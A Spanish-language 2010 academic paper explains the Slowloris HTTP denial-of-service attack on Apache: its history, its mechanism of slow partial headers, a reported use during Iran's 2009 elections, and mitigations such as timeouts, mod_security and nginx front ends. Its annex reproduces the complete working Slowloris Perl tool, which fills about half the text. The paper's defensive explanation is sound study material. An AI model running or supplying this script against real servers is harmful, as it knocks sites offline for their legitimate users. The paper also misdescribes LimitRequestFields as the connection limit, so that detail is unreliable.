SLOWLORIS HTTP DoS

Diego Samuel Espitia Montenegro <dsespitia@gmail.com>
Agosto de 2010

Resumen

Los ataques de denegación de servicios (DoS) como su nombre lo indica buscan atacar uno de los tres pilares de la seguridad, el cual es la disponibilidad de un servicio, evitando que este pueda ser usado por los reales usuarios de la aplicación o servicio. Este ataque esta en la categoría de DoS debido a su comportamiento, pues la intención del mismo es evitar que las sesiones de HTTP del servidor Apache se desconecten, reduciendo con esto la capacidad de usuarios conectados y generando la denegación buscada.

Introducción

Es un ataque que afecta exclusivamente a los servidores web Apache 1.X, Apache 2.X y dhttpd, aprovechando una características propia de estos servidores que busca evitar el consumo excesivo de memoria usando el manejo de los procesos por medio de hilos.

Esta vulnerabilidad es detectada en el año de 2005, la cual es explotada por medio de un programa en perl creado por Robert Hansen en Junio de 2009, donde consumiendo un mínimo de ancho de banda se logra mantener activa una sesión el mayor tiempo posible reduciendo la capacidad del servidor web de atender el más conexiones.

Este error es reportado por el equipo de Apache en el BUG 47417, el 27 de Junio de 2009, explicando cuales son las versiones afectadas y en que consiste el error. En el reporte se informa cual es el funcionamiento del sistema y el punto en que se evidencia el error en la espera de la respuesta del cliente para completar el encabezados del sistema.

Esta debilidad en el proceso de inicio en la conexión es la que se aprovecha por parte del script escrito en perl, que busca por medio de una ataque lento ir consumiendo simultáneamente la mayor cantidad posible de conexiones permitidas en el servidor web hasta lograr reducir el servicio al mínimo de conexiones posibles o leegar a denegar completamente cualuier intento de conexión.

Debido a este objetivo el ataque es catalogado en la rama lenta de los ataques de denegación de servicio, en donde el principal objetivo no es tomar control o dañar el sistema sino reducir la disponibilidad del servicio, en este caso se busca por medio del consumo indiscriminado y mantenido de recursos denegar el acceso a los sitios web que se encuentren en este servidor.

Historia

Es denominado como un ataque de denegación de servicio más por su objetivo que por su funcionamiento, ya que los ataques de denegación de servicio propiamente se ejecutan en la capa transporte del modelo OSI. Slowloris funciona como un ataque de inundación de señales de sincronismo sobre el puerto de HTTP (80) pero en vez de usar señales de sincronismo envía cientos de fragmentos de encabezados de conexión tipo GET con unos intervalos de tiempo determinados.

Nace aprovechando uno de los parámetros que Apache uso para mejorar y para promocionar la efectividad en el manejo de procesos de este servidor web, denominado como trabajo con hilos permite que cada solicitud de conexión realizada al servidor sea manejada por un hilo independiente, lo que aumenta la eficiencia en respuesta y manejo de proceso del sistema.

Al detectar esto Robert Hansen en Junio de 2009, más conocido como “Rsnake”, creo un script escrito en perl que desde una maquina usando un mínimo de ancho de banda y sin importar el puerto en el que el servicio se configuro, este inicia el envió de tramas y

mantenimiento de las secciones con un simpe comando,

Otra de las ventajas aprovechadas por este ataque es la forma en la cual el sistema registra sus eventos, ya que el sistema solo genera el registro una ves el evento ha terminado, debido a que este ataque básicamente usa el tiempo máximo permitido para el establecimiento de la conexión el sistema puede estar siendo atacado durante un tiempo prolongado antes que el sistema registre el primer evento y una vez el ataque termine se registraran cientos de errores de servidor en los registros, evitando que un HIDS o IDS de segunda generación detecte el ataque mientras este sucede.

Este ataque actualmente no tiene un método de protección completamente efectivo pero su efecto uede ser controlado, por medio de una serie de modificaciones a los parámetros por defecto, usando los módulos de control y/o usado programas de front – end de las conexiones de este servicio.

Funcionamiento

La vulnerabilidad afecta todas las versiones de Apache 1.X y 2.X, permitiendo con esto ser un ataque de denegación de servicio muy efectivo al ser ejecutado.

Como se marco anteriormente es una rama de la denegación de servicios que con un bajo uso de ancho de banda, busca generar una inundación de tráfico en la red muy sigilosa.

Lo primero que se debe establecer para desarrollar este ataque es el tiempo de espera de encabezados del servidor web, por defecto viene codificado en 300 segundos, por lo que se puede tomar este tiempo como determinado, pues es muy raro el administrador que lo modifica, no solo por descuido sino por que basado en las necesidades usuales del mercado este tiempo es un buen estandar en la configuración.

Una vez se tiene este tiempo se envía una parte del encabezado de conexión al sistema, la cual debe tener todos lo campos legítimos de conexión, así como se ve en el reporte del Bug por parte de Apache, y que a continuación se muestra

```
GET / HTTP/1.1\r\n
Host: host\r\n
User-Agent: Mozilla/4.0
(compatible; MSIE 7.0; Windows NT
5.1; Trident/4.0;
.NET CLR 1.1.4322; .NET CLR
2.0.503l3; .NET CLR
3.0.4506.2152; .NET CLR
3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n
```

Una vez el servidor recibe este encabezado abre el hilo de la conexión y se mantiene a la espera de que el cliente complete los datos del encabezado.

Para esto las herramientas actuales y principalmente el script en Perl desarrollado para este ataque, permite enviar líneas falsas de encabezado para mantener la sesión activa y el hilo de Apache aun ocupado, el contenido de este envió puede ser lo siguiente

```
X-a: b\r\n
```

Con esto mantenemos ocupado solo un hilo de servidor, por lo que para que este ataque sea efectivo es necesario realizar este mismo proceso tantas veces se tenga configurado el servidor Web su número máximo de conexiones.

Este campo en el servidor Apache es denominado LimitRequestFields, el cual puede ser de máximo 32767 pero por defecto se encuentra configurado en 100.

Si se ataca un servidor que tenga todas las configuraciones por defecto con la que esta un sistema de Apache 2.0, se tiene un tiempo de espera de 300 segundos, un limite de conexiones de 100 y un encabezado de 512 bytes, se pueden enviar 100 paquetes de 5,10 bytes , lo que genera una ocupación de 1500 segundos por cada hilo, cada que una conexión caduca inmediatamente se inicia una nueva, manteniendo ocupadas las sesiones del servidor.

El creador del ataque escribió un script en Perl que permite de una forma muy sencilla ejecutar el ataque sin necesidad de tener un amplio conocimiento del funcionamiento del

servidor web o del proceso del ataque. (Este script se anexa al presente trabajo)

En Internet se puede apreciar el funcionamiento de ese script en esta URL http://www.youtube.com/watch?v=OjfYRQ81ukE, donde se aprecia claramente como las sesiones del servidor van siendo ocupadas una a una hasta que el servidor no tiene mas sesiones que ofrecer.

Ejemplos más Notables

Aunque se presumen que muchos de los ataques de denegación de servicio efectuados en el último año sobre servidores Apache son usando este mecanismo no todos han sido probados, pero el caso mas notable en el uso de este ataque se presento en las elecciones presidenciales de Iran en el año 2009.

Durante las protestas que genero el resultado y desarrollo de las elecciones presidenciales en Iran, se generaron múltiples ataques a los servidores del gobierno, que usan servidores web Apache. En sus registros se encontraron evidencias de retardos en la conexión del encabezado, por lo que se puede determinar que el exploit usado para este ataque fue el script en Perl Solwloris.

Método de Protección

En la actualidad no existe un método completamente efectivo para evitar este ataque, pero si existen distintas formas de mitigar su accionar y con esto disminuir la valoración del riesgo que este ataque genera.

Uno de los primeros métodos de mitigación es realizar una configuración diferente a la por defecto en el servidor apache, lo cual permite que el atacante tenga que determinar el tiempo de vida de la conexión.

En la configuración de Apache también es posible habilitar los módulos de configuración mod_evasive y mod_security, los cuales sirven para limitar las conexiones realizadas desde el mismo origen y para denegar la respuesta cuando el tráfico presenta anomalías consecutivas.

Para la configuración de Apache se tiene una extensa documentación el website www.apache.org donde la documentación es muy especifica y ayuda a resolver muchas dudas sobre los parámetros de configuración del sistema, para el caso especifico de un ataque DoS se esta el documento http://httpd.apache.org/docs/trunk/misc/security_tips.html#dos, donde se indica específicamente que parámetros de la configuración nos sirven para controlar este tipo de acciones. Estos parámetros son los siguientes

- TimeOut
- KeepAliveTimeout
- LimitRequest
- MaxClients
- AcceptFilter

La correcta configuración de estos parámetros permite mitigar el riesgo de un ataque de DoS, más no es una configuración especifica para mitigar Slowloris.

La otra opción de mitigación que se presenta es no usar a el Servidor Apache como font end de las conexiones, sino que estas seán manejadas por sistema de cache tipo nginx o Varnishd, los cuales tienen características especificas en su configuración para limitar el numero de conexiones y para evitar los tiempos largos en las cabeceras de HTTP.

Varnishd es una acelerador de conexiones HTTP, que permitiría dentro de su configuración revisar la cabecera de X_Forwarded y con esto hacer ajustes en el modulo mod_rpaf, reduciendo la posibilidad de múltiples conexiones desde la misma IP. No es tan sencillo de implementar pero podría ser un método efectivo de mitigación.

El NGinx es un servidor de proxy inverso de alto rendimiento, que nos permite colocar un front-end para el servicio web teniendo un cache donde se almacenan las partes estáticas del sitio. Este sistema permite un control más avanzado y detallado sobre los tiempos de espera de las conexiones, evitando con esto que una sesión se mantenga activa por un tiempo prolongado. Adicionalmente como las conexiones inicialmente buscan los datos en cache evita que se ocupen hilos de proceso en el servidor Apache que no sean necesarios.

Conclusiones

El Slowloris es un ataque relativamente reciente que aprovecha uno de los sistemas de control de procesos de los servidores web que usan hilos para por medio de estos establecer sesiones al servidor y no permitir que sean liberadas, esto genera una denegación de servicio pues con cada sesión capturada se reduce el numero de conexiones que el servidor puede atender simultáneamente.

Es un ataque muy bien elaborado que requiere un profundo conocimiento sobre el funcionamiento de este tipo de servidores por parte de la persona que lo diseño, además de un alto manejo de Perl para la creación del script por medio del cual se ejecuta y que esta en el anexo A.

Todos las versiones de Apache son susceptibles y no existe una solución que garantice que este ataque no sea efectivo, pero existen varios métodos de mitigación que pueden garantizar que este ataque no va a ser exitoso de una forma tan sencilla. Esto aumenta conciderablemente el riesgo si se tiene en cuenta que este servidor es uno de los mas usados mundialmente y que contiene plataformas de entidades muy reconocidas.

El desarrollo de este ataque demuestra como el estudio detallado de un proceso o de un servicio permite encontrar las debilidades que se generan en el momento de su desarrollo, permitiendo a los atacantes que con una dedicación bastante alta en el estudio de estos procesos puedan usar estas debilidades para crear ataques sobre este tipo de servicios, siendo muy efectivos y díficiles de controlar.

Referencias

"Welcome to Slowloris" Disponible en : http://ha.ckers.org/slowloris/

ZANCH BANKS, *"Slowloris HTTP denial of Service"* Junio 17/2009. Disponible en : http://hackaday.com/2009/06/17/slowloris-http-denial-of-service/

APACHE ORG, "Apache Core Features - LimitRequestFields Directive" . Disponible en : http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfields

"Slowloris - HTTP DoS Tool in Perl" Junio 23/2009. Disponible en : http://www.darknet.org.uk/2009/06/slowloris-http-dos-tool-in-perl/

"Slowloris HTTP DoS" Junio 17/2009. Disponible en : http://ha.ckers.org/blog/20090617/slowloris-http-dos/

APACHE ORG, "Security Tips – Denial of Service (DoS) attacks" . Disponible en : http://httpd.apache.org/docs/trunk/misc/security_tips.html#dos

SECURITY FOCUS, "BuqTraq – Cheesy Apache" Enero 03/2007. Disponible en : http://www.securityfocus.com/archive/1/456339/30/a0/threaded

WIKIPEDIA, "Slowloris" Septiembre 2009. Disponible en : http://en.wikipedia.org/wiki/Slowloris

DENNIS FISHER, "Mitigating the Slowloris HTTP DoSAttack" Junio 22/2009. Disponible en : http://threatpost.com/es_la/node/1166

ANDREAS KRENNMAIR, "Mitigating the Slowloris DoS Attack" Junio 21/2009. Disponible en : http://www.mail-archive.com/dev@httpd.apache.org/msg44267.html

"DDoS Attack Mitigation" Abril26/2010. Disponible en : http://cd34.com/blog/webserver/ddos-attack-mitigation/

APACHE ORG, "BUG – 47417 – Apache WebServer 2.2.11 Incomplete HTTP Header Recourse Exhaustion Vulnerability" Junio 24/2009. Disponible en : https://issues.apache.org/bugzilla/show_bug.cgi?id=47417

ANEXO

```
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

print <<EOTEXT;
[1m
CCCCCCCCCCOOCCOOOOO888\@8\@88880000CCOOO888888888\@\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@88800Cooocccc::::
CCCCCCCCCCCCCCCOO888\@888888000CCCOOOO888888888888\@88888\@\@\@\@\@\@\@\@\@888\@8OOCCoococc:::
CCCCCCCCCCCCCCOO88\@\@88888800000000008888888088888888080800088888\@88\@\@8OOCOOOCoc::
CCCCooooooCCCO88\@\@8\@88\@88800000000888888888888000000000CCCCCOOOO888\@8888OOOCc::::
CooCoCoooCCCO8\@88\@888888800088888888888888888800OOCCCooooooooCCOOO8888888Cocooc:
oooooooCoCCC88\@88888\@88800888888888888888888080888800CCCooooocccccCOOOO88\@8880Coccc
ooooCCOO8O888888888\@88080088888800888088888000O888880Cocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCCOO88\@880000008888088880000OCOO88888808000CooCocc:::coCOOO88888800CC
oCCCCCOOO880CooCO88\@8000000880888888800CCCCoCOOO88888000000OCoc:::::coCOOOO8880880C
oCCCCOO8800OCCCCOO8\@\@800COOOOO88888888OoocccccoCO8O8008800000Cc.:ccooCCOOOO8888800
CCCOOOO8800OCCOOO8\@888OOCCoooCOO88888Ooc::...::coOO888880888OOo:cocooCCCCOOOOOO880
CCCOO88888OOCOO8\@\@8880Ccc:::cCOO8880c..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.       .  .coOOO8880OOOCooooooccoCOOOOOCOOOO
OOOOO888\@8\@888888880o:. .  ...cO8880c..           :oOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888\@88888888888Oo:.        .O8888C:  .oCOo.  ...cCCCOOOooooooccccooooooooCCCOO
CCCCOO88888880888888Oo. .o8Oo. .cO880o:       :. .:..ccoCCCooCooccoooccccooooCCCC
coooCCO8\@880O8880o:::... ..  :cO8Oc. . .....  :.  .:ccCooooocooooocccccooooCCC
:ccooooCO8880OOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooocccc:::ccooCCooC
.:::cooccccO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccooooccccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::cooooooo
.......::::::::cCCCCCCoocc:cO888\@888800OOCOOOCoocc::.:cocc::cc:::...:::cooccccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc:::::.......:ccocccc:co
............::....:oCCooooCOOCCOCCCoccocococ:::::coc:::..... ...:::cccc:cooo
 ..... ............ .coocoooCCoco::::ccccccc:::ccc::.........  ....:::cc::::coC
   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ........ ......::::c:cccco
  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  ........  .....::::::ccoocc
      .   .        .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
[31m
 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
[m
EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
```

```
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;
```

```
    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR
1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
```

```
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
```

```
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET
CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
```

```
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for
$timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

__END__
```